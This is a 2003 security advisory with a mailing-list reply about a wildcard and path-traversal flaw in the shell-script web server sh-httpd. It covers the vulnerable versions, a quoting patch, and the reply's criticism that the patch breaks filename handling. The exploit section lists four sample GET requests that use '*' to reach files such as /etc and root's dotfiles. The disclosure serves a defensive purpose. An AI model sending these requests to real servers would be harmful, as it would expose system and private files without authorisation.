sh-httpd `wildcard character' vulnerability

[dong-h0un U]

========================================
INetCop Security Advisory #2003-0x82-019
========================================


* Title: sh-httpd `wildcard character' vulnerability


0x01. Description


About:
sh-httpd is a shell script-based Web server that supports GET and HEAD methods, and a CGI 1.1 interface.
It's not real fast, and it's probably not real secure, but it is really small.
The Web server and it's configuration files are around 9,000 bytes total,
and that's with comments and pretty whitespace.
If you can run ash or bash, an inetd, and about 7 standard external commands on your system,
you can have a Web server with CGI support.
There's also a timeout counter that kills never-ending CGI programs, cleans up, and exits.

More detailed information is: http://lrp.steinkuehler.net/Packages/weblet.htm

Vulnerabilty happens '*' because don't filtering.
Through this character, can know existence of files to directory.


0x02. Vulnerable Packages


Vendor site: http://lrp.steinkuehler.net/Packages/weblet.htm

sh-httpd-0.4
-sh-httpd-0.4.tgz
+Unix
+Linux
+Other

sh-httpd-0.3
-sh-httpd-0.3.tgz


0x03. Exploit


This is very easy.
Only, as using '*', can read file of web directory freely or execute CGI.

For example, is as following.

GET *
GET ../../../sh-httpd/p*
GET /../../etc/s*
GET ../../root/.b*

You can read file path or contents, and if it is CGI, can execute. :-)


0x04. Patch


=== sh-httpd.patch ===

--- sh-httpd-0.4/sh-httpd Mon Oct 9 11:28:05 2000
+++ sh-httpd.patch Sat Jul 19 08:51:44 2003
@@ -31,7 +31,7 @@

bname() {
local IFS='/'
- set -- $1
+ set -- "$1"
eval rc="\$$#"
[ "$rc" = "" ] && eval rc="\$$(($# - 1))"
echo "$rc"
@@ -262,7 +262,7 @@

# Split URI into base and query string at ?
IFS='?'
- set -- $URI
+ set -- "$URI"
QUERY_STRING="$2"
URL="$1"
IFS=$OIFS
@@ -292,7 +292,7 @@
fi

DIR="`dname $URL`"
- FILE="`bname $URL`"
+ FILE="`bname "$URL"`"

# Check for existance of directory
if [ ! -d "$DOCROOT/$DIR" ]; then
=== eof ===


P.S: Sorry, for my poor english.


--
By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: szoahc(at)hotmail(dot)com,
xploit(at)hackermail(dot)com

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My World: http://x82.i21c.net & http://x82.inetcop.org

GPG public key: http://x82.inetcop.org/h0me/pr0file/x82.k3y
--


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[Richard Brittain]

On Mon, 27 Oct 2003, dong-h0un U wrote:

> Vulnerabilty happens '*' because don't filtering.
> Through this character, can know existence of files to directory.
....

This patch prevents the globbing, but also breaks the proper action of the
server because bname() no longer returns the filename.
A better patch is to disable all globbing in the script by turning on the
"-n" option in the shell.

> --- sh-httpd-0.4/sh-httpd Mon Oct 9 11:28:05 2000
> +++ sh-httpd.patch Sat Jul 19 08:51:44 2003
> @@ -31,7 +31,7 @@
>
> bname() {
> local IFS='/'
> - set -- $1
> + set -- "$1"
> eval rc="\$$#"
> [ "$rc" = "" ] && eval rc="\$$(($# - 1))"
> echo "$rc"
> @@ -262,7 +262,7 @@
>
> # Split URI into base and query string at ?
> IFS='?'
> - set -- $URI
> + set -- "$URI"
> QUERY_STRING="$2"
> URL="$1"
> IFS=$OIFS
> @@ -292,7 +292,7 @@
> fi
>
> DIR="`dname $URL`"
> - FILE="`bname $URL`"
> + FILE="`bname "$URL"`"
>
> # Check for existance of directory
> if [ ! -d "$DOCROOT/$DIR" ]; then
> === eof ===

Richard Brittain, Kiewit Computing Services, 6224 Baker/Berry Library
Dartmouth College, Hanover NH 03755
Email: richard.brittain@dartmouth.edu
or: faculty-workstation-support@dartmouth